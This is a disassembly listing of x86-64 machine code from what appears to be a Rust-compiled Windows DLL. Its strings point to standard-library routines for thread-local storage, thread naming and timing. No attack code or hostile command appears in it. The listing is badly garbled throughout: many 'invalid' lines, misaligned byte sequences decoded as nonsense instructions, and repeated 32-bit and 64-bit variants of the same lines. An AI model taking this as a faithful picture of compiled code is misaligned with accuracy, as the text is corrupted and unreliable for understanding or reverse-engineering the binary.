mov qword [rsp + 0x40], 5
mov qword [rsp + 0x20], 4
lea rdx, str.Layoutsize
lea r9, [0x18007b846]
mov r8d, 6
mov rcx, rax
call fcn.1800275a0
nop
add rsp, 0x68
ret
pop rbx
add al, byte [rax]
sub esp, 0x28
lea rbp, [rdx + 0x30]
mov rax, qword [rbp - 8]
lock dec qword [rax]
jne 0x180043b32
invalid
or dword [rax - 0x75], ecx
clc
mov rcx, qword [rbp - 8]
call fcn.180045860
nop
add rsp, 0x28
pop rsi
pop rbp
ret
sub esp, 0x28
lea rbp, [rdx + 0x30]
in al, dx
sub byte [rax - 0x73], cl
push 0x30
cmp qword [rbp - 8], 0
je 0x180043b5d
add rsp, 0x28
pop rsi
pop rbp
invalid
sub byte [rsi + 0x5d], bl
ret
mov rcx, qword [rbp - 0x10]
call 0x180045880
jmp 0x180043b56
int3
int3
and al, 0x50
push rax
mov qword [rbp - 8], 0xfffffffffffffffe
mov eax, dword [0x18008b304]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
mov rax, qword [rdx + rax*8]
movzx eax, byte [rax + 0x98]
cwde
add byte [rax], al
add byte [rbx + 0x547401f8], al
cwde
add byte [rax], al
add byte [rbx + 0x547401f8], al
mov qword [rbp - 0x18], rcx
test eax, eax
jne case.0x18002caa7.309
invalid
mov bh, 0
add byte [rax], al
test dword [rdi - 0x3a000000], esi
test dword [r9], 0x774d058b
add al, 0
mov bh, 0
add byte [rax], al
mov byte [rbp - 9], 1
mov eax, dword [0x18008b304]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0x90]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xe6e
add byte [rax], al
lea rdx, [0x180044a40]
call fcn.180044a80
mov eax, dword [0x18008b304]
add eax, 0x47727
add eax, 0x47727
mov rcx, qword gs:[0x58]
add byte [rax], al
mov rax, qword [rcx + rax*8]
add al, 0xc1
mov byte [rax + 0x98], 1
mov rcx, qword [rbp - 0x18]
mov eax, dword [0x18008b304]
mov rdx, qword gs:[0x58]
ja 0x180043bfe
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
mov rax, qword [rdx + rax*8]
cmp qword [rax + 0x90], 0
jne 0x180043c32
mov eax, dword [0x18008b304]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
mov qword [rax + 0x90], rcx
add rsp, 0x50
pop rbp
ret
mov qword [rbp - 0x18], rcx
mov qword [rbp - 0x20], rcx
lea rax, [0x18007c780]
add byte [rax - 0x77], cl
and al, 0x20
add byte [rax - 0x77], cl
and al, 0x20
lea rcx, [0x180081393]
lea r9, [0x18007bd00]
lea r8, [rbp - 0x20]
mov edx, 0x2b
call fcn.180069b20
ud2
mov rax, qword [rbp - 0x18]
lock dec qword [rax]
jne 0x180043c77
mov rcx, qword [rbp - 0x18]
call fcn.180044bf0
lea rax, str.library_std_src_threadlocal.rs
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_std_src_threadlocal.rs
lea r9, [0x18007bca0]
lea r8, [rbp - 0xa]
mov edx, 0x46
call fcn.180069b20
int3
and al, 0x10
push rbp
sub rsp, 0x30
xor byte [rax - 0x73], cl
push 0x50
xor byte [rax - 0x73], cl
push 0x50
mov rax, qword [rbp - 0x20]
lock dec qword [rax]
loopne 0x180043ca3
dec qword [rax]
jne 0x180043cc1
mov rcx, qword [rbp - 0x20]
call fcn.180044bf0
invalid
add dh, al
test dword [r8], 0x30c48348
mov byte [rbp - 9], 0
add rsp, 0x30
pop rbp
ret
in al, dx
xor byte [rax - 0x73], cl
push 0x50
cmp byte [rbp - 9], 0
je 0x180043cf7
mov rax, qword [rbp - 0x18]
lock dec qword [rax]
jne 0x180043cf7
mov rcx, qword [rbp - 0x18]
call fcn.180044bf0
nop
add rsp, 0x30
pop rbp
ret
je 0x180043d57
lea rcx, [rbp - 0x10]
call fcn.180043db0
xor eax, eax
add rsp, 0x40
pop rbp
pop rbp
ret
int3
add byte [rax], al
add byte [rax - 0x33333ca3], dl
int3
clc
invalid
push rcx
dec byte [rax - 0x7d]
cli
add dh, byte [rdx + 5]
test rcx, rcx
jne 0x180043ddf
add rsp, 0x40
pop rbp
pop rbp
ret
lea rcx, [rax - 1]
mov qword [rbp - 0x20], rcx
mov rcx, qword [rax - 1]
mov rax, qword [rax + 7]
mov qword [rbp - 0x18], rcx
mov qword [rbp - 0x10], rax
call qword [rax]
mov rax, qword [rbp - 0x10]
cmp qword [rax + 8], 0
je 0x180043e11
mov rdx, qword [rax + 0x10]
mov rcx, qword [rbp - 0x18]
call fcn.18001b8e0
iretd
jp case.0x18003c6c9.185
invalid
iretd
mov edx, 8
mov rcx, qword [rbp - 0x20]
add rsp, 0x40
pop rbp
pop rbp
jmp fcn.18001b8e0
push 0x40
mov rax, qword [rbp - 0x10]
cmp qword [rax + 8], 0
je 0x180043e5a
mov rax, qword [rbp - 0x10]
mov rdx, qword [rax + 0x10]
mov rcx, qword [rbp - 0x18]
call fcn.18001b8e0
invalid
mov edx, 8
mov rcx, qword [rbp - 0x20]
call fcn.18001b8e0
nop
add rsp, 0x20
add byte [rax], al
add byte [rax - 0x75], cl
loopne case.0x18003c6c9.187
js 0x180043ee0
std
call qword [rax + 0x20c48348]
pop rbp
ret
add rsp, 0x38
pop rsi
pop rbp
ret
ror dword [rbx*2 + 0x6325ff48], 0x70
add al, byte [rax]
nop
pop rbp
ret
jns 0x18004528d
add byte [rcx + rbx + 0x48], dh
cmp dword [rcx], 0
je 0x1800452b6
mov rcx, qword [rcx + 8]
mov edx, 1
add rsp, 0x40
pop rbp
jmp fcn.18001b8e0
std
dec dword [rax - 0x77]
invalid
add rsp, 0x40
pop rbp
ret
mov r14, qword [rcx + 0x10]
cmp r9, r14
jae 0x180045445
mov byte [rcx + 0x18], 1
sub r14, r9
mov rdx, qword [rcx + 8]
mov qword [rbp - 0x10], r9
add rdx, r9
mov ecx, 0xfffffff5
mov r8, r14
mov r9, rsi
call fcn.180044160
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
cmp rax, 1
jne 0x1800453e0
mov eax, edx
and eax, 3
cmp rax, 2
mov rcx, qword [rbp - 8]
mov r9, qword [rbp - 0x10]
jae 0x1800453c0
mov qword [rbp - 0x20], 1
mov qword [rbp - 0x18], rdx
mov byte [rcx + 0x18], 0
cmp eax, 1
jne 0x1800453f9
cmp byte [rdx + 0xf], 0x23
je 0x180045430
jmp 0x18004546f
cmp eax, 2
jne 0x180045401
mov rax, rdx
shr rax, 0x20
cmp eax, 6
jne 0x1800454bc
mov rcx, rdi
call fcn.180043db0
mov rdx, r14
mov rcx, qword [rbp - 8]
mov r9, qword [rbp - 0x10]
mov byte [rcx + 0x18], 0
test rdx, rdx
je 0x18004546c
add r9, rdx
jmp 0x180045350
cmp byte [rdx + 0x10], 0x23
je 0x180045430
jmp 0x18004546f
mov rax, rdx
shr rax, 0x20
mov qword [rbp - 0x20], 1
mov qword [rbp - 0x18], rdx
mov byte [rcx + 0x18], 0
cmp eax, 0x28
ja 0x18004546f
cmp rax, 0x23
clc
and esi, dword [rbp + 0x4c]
jne 0x18004546f
jne 0x18004546f
nop word cs:[rax + rax]
mov rcx, rbx
call fcn.180043db0
js 0x18004541f
invalid
dec dword [rax - 0x75]
clc
mov r9, qword [rbp - 0x10]
jmp 0x180045350
js 0x18004541f
invalid
test r9, r9
je 0x180045468
xor esi, esi
mov edx, 0
cmp r14, r9
jae 0x1800454a8
lea r8, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_alloc_src_vecmod.rs
mov rcx, r9
mov rdx, r14
call fcn.180069810
xor edx, edx
jmp 0x1800454ac
mov rdx, r15
test r9, r9
je 0x1800454ac
mov rax, qword [rcx + 0x10]
mov rsi, rax
sub rsi, r9
jb 0x1800454c7
mov qword [rcx + 0x10], 0
je 0x1800454ac
mov rbx, rcx
mov rcx, qword [rcx + 8]
add r9, rcx
mov rdi, rdx
mov edi, edx
mov edi, edx
mov rdx, r9
mov r8, rsi
invalid
call sub.VCRUNTIME140.dll_memmove
mov rcx, rbx
mov rdx, rdi
invalid
mov qword [rcx + 0x10], rsi
jno 0x1800454bc
adc byte [rax - 0x77], cl
ror byte [rax - 0x7d], 1
invalid
mov rax, rdx
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
mov byte [rcx + 0x18], 0
test r9, r9
jne 0x180045474
jmp 0x1800454ac
in eax, 0x4c
lea eax, [0x18007c418]
invalid
lea r8, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_alloc_src_vecmod.rs
add byte [rcx + rcx*4 - 0x37], cl
mov rcx, r9
mov rdx, rax
call fcn.180069810
int3
ret 0x37e8
add byte [rax], r8b
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
mov dword [rsp + 0x10], edx
push rbp
push r15
push r14
push rsi
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x50]
mov rcx, qword [rbp - 8]
mov rdx, qword [rbp - 0x10]
call fcn.180045510
nop
add rsp, 0x28
invalid
invalid
add byte [rax + 0x28c48348], dl
invalid
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
push rsi
push rdi
sub rsp, 0x20
in al, dx
invalid
in al, dx
and byte [rax - 0x73], cl
invalid
invalid
lea rbp, [rsp + 0x20]
insb byte [rdi], dx
and al, 0x20
test rdx, rdx
je 0x180045550
mov rax, qword [rcx + 0x10]
mov rsi, rax
sub rsi, rdx
jb 0x180045558
mov qword [rcx + 0x10], 0
je 0x180045550
mov rax, qword [rcx + 8]
add rdx, rax
ret 0x8948
iretd
or byte [r8 + 1], cl
ret 0x8948
mov edi, ecx
mov rcx, rax
mov r8, rsi
mov eax, esi
mov eax, esi
call sub.VCRUNTIME140.dll_memmove
mov qword [rdi + 0x10], rsi
add rsp, 0x20
add esp, 0x20
pop rdi
pop rsi
pop rbp
ret
lea r8, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_alloc_src_vecmod.rs
mov rcx, rdx
mov rdx, rax
call fcn.180069810
add ah, cl
add ah, cl
int3
int3
sub rsp, 0x40
lea rbp, [rsp + 0x40]
mov rdx, qword [rcx]
mov rdx, qword [rcx]
mov rcx, qword [rdx]
mov ecx, dword [rdx]
mov rax, qword [rdx + 8]
mov eax, dword [rdx + 8]
mov qword [rdx], 0
mov dword [rdx], 0
test rcx, rcx
je 0x1800455df
invalid
mov byte [r9], 1
mov byte [rcx], 1
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rax], 0
mov dword [rax + 8], 0
or byte [rax], al
add byte [rax], al
add dh, al
or al, 0
or byte [rax], al
add byte [rax], al
add dh, al
or al, 0
movups xmm0, xmmword [rbp - 0x13]
movups xmmword [rax + 0xd], xmm0
mov ecx, dword [rbp - 4]
mov dword [rax + 0x1c], ecx
mov qword [rax + 0x20], 1
mov qword [rax + 0x28], 0
mov byte [rax + 0x30], 0
mov byte [rax + 0x35], 0
mov dword [rax + 0x31], 0
add rsp, 0x40
invalid
pop rbp
ret
invalid
lea rcx, str.library_std_src_synconce.rs
call fcn.180069bb0
int3
mov rsi, rdx
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
invalid
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0x370c3
mov eax, dword [rdx + 0x28]
lea rdx, str.AccessErrorlibrary_std_src_threadmod.rs_p
mov r8d, 0xb
add byte [rax], al
add bh, bh
push rax
call qword [rax + 0x18]
mov qword [rbp - 8], rsi
clc
sbb byte [rax - 0x77], cl
jne 0x180045612
clc
clc
mov byte [rbp], al
mov byte [rbp + 1], 0
lea rcx, [rbp - 8]
call fcn.180027120
nop
add rsp, 0x38
invalid
invalid
call qword [rax + 0x38c48348]
invalid
pop rsi
pop rbp
ret
int3
int3
int3
mov rbp, rsp
mov ebp, esp
mov rax, qword [rcx]
mov eax, dword [rcx]
lock dec qword [rax]
dec dword [rax]
jne 0x180045656
mov rcx, qword [rcx]
pop rbp
jmp fcn.180044bf0
invalid
call qword [rax - 0x33333ca3]
nop
pop rbp
ret
int3
int3
mov edi, ecx
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
lea rdx, str.Threadid
push rdi
jb 0x180045683
invalid
push rdi
jb 0x180045683
add byte [rcx - 0x48], al
mov r8d, 6
call qword [rax + 0x18]
mov qword [rbp - 0x10], rsi
mov byte [rbp - 8], al
invalid
mov byte [rbp - 7], 0
mov rsi, qword [rdi]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
add byte [rax - 0x75], cl
invalid
mov eax, dword [rsi + 0x28]
mov qword [rbp - 0x18], rax
lea rax, [0x18007c8e0]
lea eax, [0x18007c8e0]
lea eax, [0x18007c8e0]
mov qword [rsp + 0x20], rax
lea rdx, [0x18007c8de]
lea rcx, [rbp - 0x10]
invalid
invalid
lea r9, [rbp - 0x18]
call 0x180070f00
add byte [rax], al
invalid
call 0x180070f00
add al, byte [rax]
add byte [rax], al
call fcn.180025f90
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x1800456e1
cmp eax, 1
jne 0x1800456ef
add dword [rbp + 0x1b], esi
mov rax, qword [rsi + 0x18]
mov rcx, qword [rsi + 0x20]
dec rcx
jmp 0x1800456f1
lea rax, str.main
mov ecx, 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
jmp 0x1800456f1
xor eax, eax
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rcx
lea rax, [0x18007c908]
or byte [rdx + 3], dh
invalid
or byte [rdx + 3], dh
jb 0x180045702
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
lea rdx, str.name
add eax, dword [rax]
lea rsi, [rbp - 0x10]
lea r9, [rbp - 0x28]
lea ecx, [rbp - 0x28]
lea ecx, [rbp - 0x28]
mov r8d, 4
add byte [rax], al
mov rcx, rsi
call fcn.180025f90
or dh, bh
dec dword [rax - 0x77]
int1
or dh, bh
dec dword [rax - 0x77]
int1
call fcn.180027060
nop
add rsp, 0x50
invalid
push rax
sbb esi, edi
call qword [rax + 0x50c48348]
invalid
push rax
invalid
pop rdi
pop rsi
pop rbp
ret
int3
int3
int3
sub rsp, 0x30
lea rbp, [rsp + 0x30]
cmp qword [rcx], 0
invalid
xor byte [rax - 0x7d], cl
cmp dword [rax], eax
invalid
add byte [rbx + rsi + 0x48], dh
je 0x180045783
mov qword [rbp - 8], rcx
mov dword [rbp - 8], ecx
lea rax, [0x18007be80]
lea eax, [0x18007be80]
add eax, dword [rax]
mov qword [rsp + 0x20], rax
and al, 0x20
lea rax, [0x1800816a4]
lea eax, [0x1800816a4]
lea r9, [rbp - 8]
lea ecx, [rbp - 8]
clc
mov r8d, 4
add al, 0
add byte [rax], al
mov rcx, rdx
mov rdx, rax
mov edx, eax
mov edx, eax
ret 0x14e8
call fcn.180027690
nop
invalid
add rsp, 0x30
pop rbp
ret
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
lea rdx, [0x1800816a0]
adc eax, 0x3bf0a
sbb byte [rax - 0x73], cl
adc eax, 0x3bf0a
or bh, byte [rdi - 0x47befffd]
add byte [rcx - 0x48], al
mov r8d, 4
mov eax, 4
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
invalid
add rsp, 0x30
add esp, 0x30
xor byte [rbp + 0x48], bl
jmp rax
pop rbp
jmp rax
int3
int3
int3
int3
push rbp
mov rbp, rsp
mov rax, qword [rcx]
mov eax, dword [rcx]
mov eax, dword [rcx]
mov rcx, qword [rax]
mov rax, qword [rax + 8]
or byte [rbx + rcx*4 + 0x42], cl
invalid
or byte [rax - 0x75], cl
or byte [rbx + rcx*4 + 0x42], cl
or byte [rbx + rcx*4 + 0x42], cl
or byte [rbx + rcx*4 + 0x42], cl
mov eax, dword [rdx + 0x20]
and byte [rbx + rcx*4 + 0x4a], cl
mov r9, qword [rdx + 0x28]
mov rdx, rax
mov edx, eax
sub byte [rax - 0x77], cl
sub byte [rax - 0x77], cl
mov edx, eax
ret 0xe95d
pop rbp
jmp fcn.180027750
invalid
invalid
invalid
sub rsp, 0x30
xor byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x30
invalid
lea rbp, [rsp + 0x30]
xor byte [rax - 0x77], cl
ror byte [rax - 0x77], 1
mov qword [rbp - 8], rcx
mov rax, rdx
mov qword [rbp - 8], rcx
mov dword [rbp - 8], ecx
lea rcx, [0x18007dbf0]
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
test byte [rbx], al
add byte [rax - 0x77], cl
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x20], ecx
lea rdx, str.ThreadId
lea edx, str.ThreadId
adc eax, 0x383f4
add dword [rbx], 0
lea r9, [rbp - 8]
lea ecx, [rbp - 8]
mov r8d, 8
mov eax, 8
add byte [rax - 0x77], cl
shr eax, 0x8a
invalid
invalid
mov rcx, rax
call fcn.180027690
nop
add rsp, 0x30
invalid
invalid
invalid
call qword [rax + 0x30c48348]
invalid
pop rbp
ret
int3
int3
sub rsp, 0x30
lea rbp, [rsp + 0x30]
mov rax, qword [rcx]
xor byte [rax - 0x75], cl
add dword [rax - 0x75], ecx
mov rcx, qword [rax]
mov qword [rbp - 8], rcx
mov rcx, qword [rax]
mov ecx, dword [rax]
mov qword [rbp - 8], rcx
mov dword [rbp - 8], ecx
mov eax, dword [rdx + 0x34]
test al, 0x10
xor al, 0xa8
adc byte [rbp + 0x14], dh
jne 0x18004583f
jne 0x18004583f
test al, 0x20
and byte [rbp + 0x1a], dh
jne 0x180045849
sbb cl, byte [rax - 0x73]
lea rcx, [rbp - 8]
clc
call 0x180020440
nop
add rsp, 0x30
add esp, 0x30
lodsb al, byte [rsi]
std
call qword [rax + 0x30c48348]
add esp, 0x30
add esp, 0x30
xor byte [rbp - 0x3d], bl
pop rbp
ret
add rsp, 0x30
invalid
pop rbp
jmp 0x180026fa0
invalid
call qword [rax + 0x30c48348]
nop
add rsp, 0x30
pop rbp
jmp 0x18002c480
insb byte [rdi], dx
invalid
int3
int3
int3
int3
int3
int3
mov rbp, rsp
cmp rcx, 0xffffffffffffffff
cmp ecx, 0xffffffff
cmp ecx, 0xffffffff
stc
push qword [rdx + rdx - 0x10]
adc dh, al
je 0x18004587c
adc dh, al
lock dec qword [rcx + 8]
dec qword [rcx + 8]
or byte [r13 + 0xb], sil
jne 0x18004587c
mov edx, 8
pop rbp
jmp fcn.18001b8e0
invalid
std
invalid
add byte [rbp - 0x17], bl
invalid
invalid
call qword [rax + 0x55ccc35d]
nop
pop rbp
ret
mov rbp, rsp
cmp dword [rcx], 1
cmp dword [rcx], eax
cmp dword [rcx], eax
jne case.0x18001e906.486
mov rax, rcx
mov rcx, qword [rcx + 8]
mov ecx, dword [rcx + 8]
enter 0xffffffffffff8b48, 0x49
or byte [rax - 0x7d], cl
invalid
js 0x1800458a4
mov ecx, dword [rcx + 8]
cmp qword [rax + 0x10], 0
cmp dword [rax + 0x10], 0
add dh, al
add dword [rax], eax
mov byte [rcx], 0
je case.0x18001e906.486
or edi, dword [rdx + 1]
mov edx, 1
add dword [rax], eax
add byte [rax], al
pop rbp
jmp fcn.18001b8e0
cmp esp, dword [rax - 3]
invalid
cmp esp, dword [rax - 3]
call qword [rax - 0x33333ca3]
int3
nop
pop rbp
ret
int3
int3
int3
push rsi
push rdi
sub rsp, 0x20
in al, dx
and byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x20
in al, dx
and byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x20
and byte [rax - 0x77], cl
invalid
mov rsi, rdx
mov esi, edx
mov rdi, rcx
lea rcx, str.kernel32
invalid
nop
add eax, dword [rax]
iretd
invalid
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
or dword [rax + 2], ebp
add byte [rax - 0x7b], cl
add al, byte [rax]
test rax, rax
je 0x1800458f4
invalid
sal byte [rax + riz + 0x48], 0x8d
and byte [rax - 0x73], cl
lea rdx, str.SetThreadDescription
lea edx, str.SetThreadDescription
adc eax, 0x3902e
add eax, dword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
sar edi, 0x15
cld
adc eax, 0x267fc
add al, byte [eax]
test rax, rax
test eax, eax
lea r8, [0x180045920]
add eax, 0x32
add byte [rdi + rcx + 0x45], cl
shr bl, 7
cmovne r8, rax
jmp case.0x18000b703.593
lea r8, [0x180045920]
add byte [rax], al
mov qword [0x18008b110], r8
mov rcx, rdi
mov rdx, rsi
add rsp, 0x20
pop rdi
pop rsi
pop rbp
jmp r8
invalid
loopne 0x1800458df
int3
int3
int3
int3
int3
sub rsp, 0x20
lea rbp, [rsp + 0x20]
insb byte [rdi], dx
and al, 0x20
insb byte [rdi], dx
and al, 0x20
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_SetLastError]
add al, byte [rax]
add al, byte [rax]
mov eax, 0x80004001
add rsp, 0x20
invalid
invalid
add byte [rax + 0x20c48348], al
invalid
pop rbp
ret
in al, dx
push rax
lea rbp, [rsp + 0x50]
push rax
lock inc qword [rcx + 8]
inc dword [rcx + 8]
or byte [r14 + 6], dil
jle 0x180045957
add rsp, 0x50
pop rbp
ret
xor edx, edx
call case.0x18002b605.351
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, str.too_many_running_threads_in_thread_scope_
add eax, 0x36d23
and ebp, dword [rbp + 3]
add byte [rax - 0x77], cl
invalid
invalid
mov qword [rbp - 0x30], rax
ror byte [r8 - 0x39], 1
fadd dword [r9]
fadd dword [rcx]
mov qword [rbp - 0x28], 1
lea rax, [0x180081690]
fadd dword [rcx]
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x3bd18
mov qword [rbp - 0x20], rax
mov dword [rbp - 0x20], eax
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
adc dword [rbp - 0x18], eax
push rdi
ror byte [rdi], 0x11
invalid
adc dword [rbp - 0x18], eax
call 0x1ae19e6cf
insd dword [rdi], dx
add eax, dword [rax]
invalid
lea rdx, str.library_std_src_thread_scoped.rs
adc eax, 0x36d2e
add byte [rax - 0x73], cl
lea rcx, [rbp - 0x30]
call fcn.180069750
invalid
add al, byte [rax]
shr r8b, 1
shr al, 1
mov ebp, 0xcc00023d
int3
cmp eax, 0xcccc0002
int3
int3
int3
int3
adc byte [r9], al
lock dec qword [rcx + 8]
or byte [rbp + 0xc], dh
jne 0x1800459bf
mov rcx, qword [rcx]
mov al, 1
xchg byte [rcx + 0x30], al
invalid
invalid
or dword [rax + 0x30418601], esi
xor byte [r15 + rdi*8], dil
cmp al, 0xff
push qword [rdx + rax + 0x5d]
je case.0x18002ef1c.407
pop rbp
ret
add rcx, 0x30
pop rbp
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
and eax, 0x268eb
and eax, 0x268eb
jmp 0x180045a33
int3
int3
push rsi
sub rsp, 0x48
lea rbp, [rsp + 0x40]
insb byte [rdi], dx
and al, 0x40
mov qword [rbp], 0xfffffffffffffffe
mov r8, qword [0x18008b290]
mov eax, dword [0x18008b290]
add r14b, r15b
invalid
invalid
invalid
mov eax, dword [0x18008b290]
cmpsb byte [rsi], byte [rdi]
pop rax
add al, 0
test r8, r8
test eax, eax
jne case.0x18003e72b.386
mov rsi, rcx
invalid
mov qword [rbp - 8], 0
clc
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
clc
clc
lea rcx, [rbp - 8]
lea ecx, [rbp - 8]
clc
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
adc eax, 0x266ec
add al, byte [rax]
add al, byte [rax]
add byte [rbp - 0x697bf040], al
test eax, eax
ror byte [rdi], 0x84
je case.0x18003c6c9.189
xchg esi, eax
add byte [rax], al
add byte [rbx + rcx*4 + 0x45], cl
mov r8, qword [rbp - 8]
mov eax, dword [rbp - 8]
clc
mov qword [0x18008b290], r8
mov dword [0x18008b290], eax
add eax, 0x45879
jns case.0x18002ef1c.398
pop rax
add al, 0
add byte [rbp - 0x7b], cl
test r8, r8
test eax, eax
ror byte [rax - 0x77], 0xf1
mov rcx, rsi
mov ecx, esi
je 0x180045a96
mov rax, rcx
enter 0x94c, 0xffffffffffffffc0
or rax, r8
ror byte [rax - 0x3f], 0xe8
shr rax, 0x20
shr eax, 0x20
and byte [rdx + rcx + 0x48], dh
mov eax, ecx
invalid
je case.0x18002ef1c.390
mov rax, rcx
enter 0xffffffffffffd231, 0x49
xor edx, edx
div r8
div eax
ror byte [rcx - 9], cl
div eax
invalid
jmp case.0x18002caa7.312
invalid
mov eax, ecx
xor edx, edx
invalid
enter 0xffffffffffffd231, 0x41
div eax
invalid
rol byte [rcx - 9], cl
div r8d
invalid
imul r9, rax, 0x3b9aca00
imul ecx, eax, 0x3b9aca00
add dl, cl
invalid
cmp ecx, dword [rax + 0x69]
imul rax, rdx, 0x3b9aca00
imul eax, edx, 0x3b9aca00
ret 0xca00
add dl, cl
invalid
cmp ecx, dword [rax - 0x77]
ror dword [rcx + rcx - 0x3f], 0x48
or rcx, r8
invalid
mov rcx, rax
mov ecx, eax
or rcx, r8
shr rcx, 0x20
shr ecx, 0x20
ror dword [rax - 0x3f], 0xe9
and byte [rdx + rcx + 0x31], dh
je 0x180045a60
invalid
shr ecx, 0x20
jmp 0x1b10ece77
je 0x180045a60
or dh, byte [rcx]
xor edx, edx
div r8
div eax
ror byte [rcx - 9], cl
invalid
div eax
mov rcx, rax
jmp 0x180045a67
shr ebx, 7
xor edx, edx
rol byte [rcx - 9], cl
div r8d
div eax
invalid
mov ecx, eax
add rcx, r9
leave
mov rax, rcx
mov eax, ecx
shr rax, 9
movabs rdx, 0x44b82fa09b5a53
mul rdx
loop case.0x18002caa7.329
mov eax, edx
mov edx, 0xa09b5a53
invalid
push rbx
pop rdx
wait
movabs al, byte [0x48e2f7480044b82f]
add byte [rax - 9], r9b
loop case.0x18002caa7.329
add byte [rax - 9], r9b
loop case.0x18002caa7.329
mov eax, edx
shr rax, 0xb
imul edx, eax, 0x3b9aca00
sub ecx, edx
invalid
mov edx, ecx
add rsp, 0x48
invalid
pop rsi
pop rbp
invalid
ret
lea rcx, str.library_std_src_sys_commonmod.rs
or eax, 0x37b73
jae 0x180045b16
add eax, dword [rax]
add al, ch
outsb dx, byte [rsi]
call fcn.180069a10
invalid
add bh, bh
adc eax, 0x265e0
loopne 0x180045b0b
add al, byte [rax]
call qword [sym.imp.KERNEL32.dll_GetLastError]
loopne 0x180045b0b
add al, byte gs:[rax]
add al, byte [rax]
shl rax, 0x20
shl eax, 0x20
and byte [rax - 0x7d], cl
enter 0x4802, 0xffffffffffffff89
add cl, byte [rax - 0x77]
or rax, 2
or eax, 2
add cl, byte [rax - 0x77]
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x10], eax
invalid
lea rax, str.library_std_src_syspalwindows_time.rs
lea eax, [0x18007e830]
add eax, dword [rax]
mov qword [rsp + 0x20], rax
and al, 0x20
lea rcx, [0x180081393]
lea ecx, [0x180081393]
add eax, dword [rax]
lea r9, fcn.180043db0
or eax, 0x361f2
add byte [rbp + rcx*4 + 0x45], cl
lea r8, [rbp - 0x10]
lea eax, [rbp - 0x10]
invalid
mov edx, 0x2b
add byte [rax], al
call fcn.180069b20
add al, byte [rax]
ud2
or esp, dword [rsi - 0x70]
nop
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rbp
push rsi
sub rsp, 0x28
in al, dx
sub byte [rax - 0x73], cl
push 0x40
in al, dx
sub byte [rax - 0x73], cl
push 0x40
lea rcx, [rbp - 0x10]
call fcn.180043db0
loop 0x180045af6
invalid
nop
invalid
loop 0x180045af6
invalid
call qword [rax + 0x28c48348]
add rsp, 0x28
pop rsi
pop rbp
ret
push rsi
push rdi
push rbx
sub rsp, 0x68
sub esp, 0x68
sub esp, 0x68
push 0x246c8d48
invalid
lea rbp, [rsp + 0x60]
lea ebp, [rsp + 0x60]
and al, 0x60
mov qword [rbp], 0xfffffffffffffffe
mov dword [rbp], 0xfffffffe
add r14b, r15b
invalid
invalid
mov esi, r8d
mov esi, eax
mov rdi, rdx
mov edi, edx
mov r9, qword [0x18008b290]
mov ecx, dword [0x18008b290]
or eax, 0x4576e
push rdi
add al, 0
invalid
add byte [rbp - 0x7b], cl
leave
test r9, r9
test ecx, ecx
jne 0x180045b5b
mov rbx, rcx
mov ebx, ecx
retf
mov qword [rbp - 8], 0
clc
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
clc
clc
lea rcx, [rbp - 8]
clc
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
add al, byte gs:[rax]
test eax, eax
je 0x180045cf3
invalid
scasd eax, dword [rdi]
add dword [rax], eax
invalid
ror byte [rdi], 0x84
scasd eax, dword [rdi]
test byte [rdi + 0x4c000001], ch
add dword [rax], eax
add byte [rbx + rcx*4 + 0x4d], cl
mov r9, qword [rbp - 8]
